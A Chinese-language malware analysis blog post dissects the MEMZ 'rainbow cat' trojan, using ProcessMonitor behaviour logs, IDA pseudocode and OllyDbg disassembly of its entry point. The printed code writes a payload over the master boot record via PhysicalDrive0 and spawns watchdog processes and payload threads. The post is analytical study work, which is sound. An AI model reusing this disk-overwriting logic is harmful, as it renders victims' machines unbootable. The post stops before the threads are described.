搞了一个彩虹猫的病毒,运行了一下,还挺好玩的
执行效果:
第一次警告:
%20
第二次警告:
记事本显示提示信息:
大致意思是说你电脑完犊子了,快使用它把,也别杀死进程,不然系统会变的一团糟
之后就是一段鬼畜
像极了去蹦迪的我
最后系统蓝屏,重启后就是彩虹猫的图片
样本信息:
查壳:
无壳
这里我先使用ProcessMonitor查看一下程序会进行哪些操作
注:因为会运行程序,所以提前备份一下
进程树:
所以可以推测:
1、该样本会创建多个恶意进程
2、该样本会调用其他程序(notepad.exe)
对注册表的操作:
一、删除注册表值:
可以发现,程序去尝试删除浏览器的一些信任网点
3、该样本会删除浏览器信任网站
二、修改注册表的值
这里的字段具体功能不清楚,但看字面意思应该是对信任的网点的操作
三、创建注册表键
这里也是对信任网点的操作
对文件的操作:
一、创建文件:
这里样本程序创建了一些pf 文件,同时也调用了notepad.exe和chrome.exe
对进程的操作:
一、创建进程
程序创建了6个自身进程,而且还创建了notepad.exe, 这里应该是用于显示那段警告
总结:上述对样本进行了初步的行为分析,大致得出样本具有以下功能
使用IDA 加载程序,对样本程序进行静态分析
先查看一下字符串:
字符串里面存在大量的URL ,推测应该会对这些这些链接进行请求
其次这里面也存在一些程序名,比如notepad记事本,推测样本会对这些程序进行某种操作
最后这里面就是一些提示性的字符串,这里一些在样本执行后的弹窗或notepad 程序都有出现
查看函数,发现该样本程序的函数不是很多
便于分析,定位到入口函数,生成伪代码查看:
可以看出这里存在三处警告的提示字符串,在三次警告之后,使用watchdog 的方式创建了5次进程,对应上述的样本会见多个进程的功能。
完整的入口点的伪代码如下:
void __noreturn start() { const WCHAR *v0; // eax LPWSTR *v1; // eax HANDLE v2; // ebx unsigned int v3; // edi _BYTE *v4; // esi _BYTE *v5; // ecx unsigned int v6; // ecx HANDLE v7; // esi unsigned int v8; // edi DWORD *v9; // esi WCHAR *v10; // esi signed int v11; // edi SHELLEXECUTEINFOW pExecInfo; // [esp+Ch] [ebp-64h] MSG Msg; // [esp+48h] [ebp-28h] DWORD NumberOfBytesWritten; // [esp+64h] [ebp-Ch] HANDLE hObject; // [esp+68h] [ebp-8h] int pNumArgs; // [esp+6Ch] [ebp-4h] dword_405184 = GetSystemMetrics(0); // SM_CXSCREEN,获取屏幕尺寸 dword_405188 = GetSystemMetrics(1); // SM_CYSCREEN v0 = GetCommandLineW(); // 获取命令行 v1 = CommandLineToArgvW(v0, &pNumArgs); if ( pNumArgs > 1 ) { if ( !lstrcmpW(v1[1], L"/watchdog") ) // 判断是否以开门狗的方式启动 { CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ThreadProcFunc, 0, 0, 0);// 创建线程 pExecInfo.lpVerb = (LPCWSTR)48; // 设置执行程序结构体属性 pExecInfo.lpParameters = (LPCWSTR)DefWindowProc; pExecInfo.u.hIcon = "hax"; pExecInfo.lpFile = 0; pExecInfo.lpDirectory = 0; pExecInfo.nShow = 0; pExecInfo.hInstApp = 0; pExecInfo.lpIDList = 0; pExecInfo.lpClass = 0; pExecInfo.hkeyClass = 0; pExecInfo.dwHotKey = 0; pExecInfo.hProcess = 0; RegisterClassExA((const WNDCLASSEXA *)&pExecInfo.lpVerb);// 注册执行程序 CreateWindowExA(0, "hax", 0, 0, 0, 0, 100, 100, 0, 0, 0, 0); while ( GetMessageW(&Msg, 0, 0, 0) > 0 ) // 拦截消息 { TranslateMessage(&Msg); DispatchMessageW(&Msg); } } v2 = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0); hObject = v2; if ( v2 == (HANDLE)-1 ) ExitProcess(2u); v3 = 0; v4 = LocalAlloc(0x40u, 0x10000u); v5 = v4; do { ++v3; *v5 = v5[byte_402118 - v4]; ++v5; } while ( v3 < 0x12F ); v6 = 0; do { v4[v6 + 510] = byte_402248[v6]; ++v6; } while ( v6 < 0x7A0 ); if ( !WriteFile(v2, v4, 0x10000u, &NumberOfBytesWritten, 0) ) ExitProcess(3u); CloseHandle(hObject); v7 = CreateFileA("\\note.txt", 0xC0000000, 3u, 0, 2u, 0x80u, 0);// 创建文件 note.txt if ( v7 == (HANDLE)-1 ) ExitProcess(4u); if ( !WriteFile( // 写入文件 v7, "YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n" "\r\n" "Your computer won't boot up again,\r\n" "so use it as long as you can!\r\n" "\r\n" ":D\r\n" "\r\n" "Trying to kill MEMZ will cause your system to be\r\n" "destroyed instantly, so don't try it :D", 0xDAu, &NumberOfBytesWritten, 0) ) ExitProcess(5u); CloseHandle(v7); ShellExecuteA(0, 0, "notepad", "\\note.txt", 0, 10);// 打开notepad显示提示信息 v8 = 0; v9 = (DWORD *)&off_405130; do { Sleep(v9[1]); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SleepThreadProcFunc, v9, 0, 0); ++v8; v9 += 2; } while ( v8 < 0xA ); // 创建10个线程,Sleep while ( 1 ) Sleep(0x2710u); } if ( MessageBoxA( 0, "The software you just executed is considered malware.\r\n" "This malware will harm your computer and makes it unusable.\r\n" "If you are seeing this message without knowing what you just executed, simply press No and nothing will happen." "\r\n" "If you know what this malware does and are using a safe environment to test, press Yes to start it.\r\n" "\r\n" "DO YOU WANT TO EXECUTE THIS MALWARE, RESULTING IN AN UNUSABLE MACHINE?", "MEMZ", 0x34u) == 6 && MessageBoxA( 0, "THIS IS THE LAST WARNING!\r\n" "\r\n" "THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE MADE USING THIS MALWARE!\r\n" "STILL EXECUTE IT?", "MEMZ", 0x34u) == 6 ) { v10 = (WCHAR *)LocalAlloc(0x40u, 0x4000u); GetModuleFileNameW(0, v10, 0x2000u); v11 = 5; // 创建5次进程 do { ShellExecuteW(0, 0, v10, L"/watchdog", 0, 10);// 执行/watchdog --v11; } while ( v11 ); pExecInfo.cbSize = 60; pExecInfo.lpFile = v10; pExecInfo.lpParameters = L"/main"; pExecInfo.fMask = 64; pExecInfo.hwnd = 0; pExecInfo.lpVerb = 0; pExecInfo.lpDirectory = 0; pExecInfo.hInstApp = 0; pExecInfo.nShow = 10; ShellExecuteExW(&pExecInfo); SetPriorityClass(pExecInfo.hProcess, 0x80u); } ExitProcess(0); }
这里就只写一下入口点的分析,对于其他函数的分析就不贴出来了。
对样本进行了基本的静态分析,得出样本具有以下功能:
* 创建多个线程 * 恶意干扰用户操作(屏幕分辨率调节、屏幕闪烁、鼠标随机位置、随机加载图标等) * 对硬盘的主引导区进行覆盖
大致得出这么多,之后使用OD进行动态调试一下,配合IDA 看的稍微明显些
首先是进入入口点分析:
这里说明一下,当无参数启动时,部分语句不会执行,而使用watchdog 参数启动时,需要接受消息事件。
首先这里我调试两个功能:
1、主引导区的覆盖
2、创建多个线程
001D1306 |.^\7F DF \JG SHORT MEMZ.001D12E7 ; 创建文件,覆盖原有的主引导区 001D1308 |> 53 PUSH EBX ; /hTemplateFile 001D1309 |. 53 PUSH EBX ; |Attributes = 0 001D130A |. 6A 03 PUSH 0x3 ; |Mode = OPEN_EXISTING 001D130C |. 53 PUSH EBX ; |pSecurity 001D130D |. 6A 03 PUSH 0x3 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE 001D130F |. 68 000000C0 PUSH 0xC0000000 ; |Access = GENERIC_READ|GENERIC_WRITE 001D1314 |. 68 64391D00 PUSH MEMZ.001D3964 ; |FileName = "\\\\.\\PhysicalDrive0" 001D1319 |. FF15 7C201D00 CALL DWORD PTR DS:[<&KERNEL32.CreateFileA>] ; \CreateFileA 001D131F |. 8BD8 MOV EBX, EAX ; 文件句柄7C 001D1321 |. 895D F8 MOV DWORD PTR SS:[EBP-0x8], EBX 001D1324 |. 83FB FF CMP EBX, -0x1 001D1327 |. 75 08 JNZ SHORT MEMZ.001D1331 001D1329 |. 6A 02 PUSH 0x2 ; /ExitCode = 0x2 001D132B |> FF15 68201D00 CALL DWORD PTR DS:[<&KERNEL32.ExitProcess>] ; \ExitProcess 001D1331 |> 68 00000100 PUSH 0x10000 ; /Size = 10000 (65536.) 001D1336 |. 6A 40 PUSH 0x40 ; |Flags = LPTR 001D1338 |. FF15 78201D00 CALL DWORD PTR DS:[<&KERNEL32.LocalAlloc>] ; \LocalAlloc 001D133E |. 33FF XOR EDI, EDI 001D1340 |. 8BF0 MOV ESI, EAX 001D1342 |. 393D E8291D00 CMP DWORD PTR DS:[0x1D29E8], EDI 001D1348 |. 76 18 JBE SHORT MEMZ.001D1362 001D134A |. BA 18211D00 MOV EDX, MEMZ.001D2118 001D134F |. 8BCE MOV ECX, ESI 001D1351 |. 2BD6 SUB EDX, ESI 001D1353 |> 8A040A /MOV AL, BYTE PTR DS:[EDX+ECX] ; 循环了12F次 001D1356 |. 47 |INC EDI 001D1357 |. 8801 |MOV BYTE PTR DS:[ECX], AL 001D1359 |. 41 |INC ECX 001D135A |. 3B3D E8291D00 |CMP EDI, DWORD PTR DS:[0x1D29E8] 001D1360 |.^ 72 F1 \JB SHORT MEMZ.001D1353 001D1362 |> 33C9 XOR ECX, ECX 001D1364 |. 390D EC291D00 CMP DWORD PTR DS:[0x1D29EC], ECX 001D136A |. 76 16 JBE SHORT MEMZ.001D1382 001D136C |> 8A81 48221D00 /MOV AL, BYTE PTR DS:[ECX+0x1D2248] ; 循环7A0次 001D1372 |. 88840E FE0100>|MOV BYTE PTR DS:[ESI+ECX+0x1FE], AL 001D1379 |. 41 |INC ECX 001D137A |. 3B0D EC291D00 |CMP ECX, DWORD PTR DS:[0x1D29EC] 001D1380 |.^ 72 EA \JB SHORT MEMZ.001D136C ; 写入数据向主分区 001D1382 |> 6A 00 PUSH 0x0 ; /pOverlapped = NULL 001D1384 |. 8D45 F4 LEA EAX, DWORD PTR SS:[EBP-0xC] ; | 001D1387 |. 50 PUSH EAX ; |pBytesWritten 001D1388 |. 68 00000100 PUSH 0x10000 ; |nBytesToWrite = 10000 (65536.) 001D138D |. 56 PUSH ESI ; |Buffer 001D138E |. 53 PUSH EBX ; |hFile 001D138F |. 8B1D 24201D00 MOV EBX, DWORD PTR DS:[<&KERNEL32.WriteFile>] ; |kernel32.WriteFile 001D1395 |. FFD3 CALL EBX ; \WriteFile
写入的数据:
001D1423 |> /FF76 04 /PUSH DWORD PTR DS:[ESI+0x4] ; 休眠30s 001D1426 |. |FFD3 |CALL EBX 001D1428 |. |33C0 |XOR EAX, EAX 001D142A |. |50 |PUSH EAX ; /pThreadId => NULL 001D142B |. |50 |PUSH EAX ; |CreationFlags => 0 001D142C |. |56 |PUSH ESI ; |pThreadParm 001D142D |. |68 2B1A1D00 |PUSH MEMZ.001D1A2B ; |ThreadFunction = MEMZ.001D1A2B 001D1432 |. |50 |PUSH EAX ; |StackSize => 0x0 001D1433 |. |50 |PUSH EAX ; |pSecurity => NULL 001D1434 |. |FF15 64201D00 |CALL DWORD PTR DS:[<&KERNEL32.CreateThread>] ; \CreateThread 001D143A |. |47 |INC EDI 001D143B |. |83C6 08 |ADD ESI, 0x8 001D143E |. |3B3D DC391D00 |CMP EDI, DWORD PTR DS:[0x1D39DC] 001D1444 |.^\72 DD \JB SHORT MEMZ.001D1423 ; 循环,创建10个恶意线程
样本会创建多个进程,并且这些线程会进入死循环,直到系统崩溃。这些线程具体实现了以下的功能: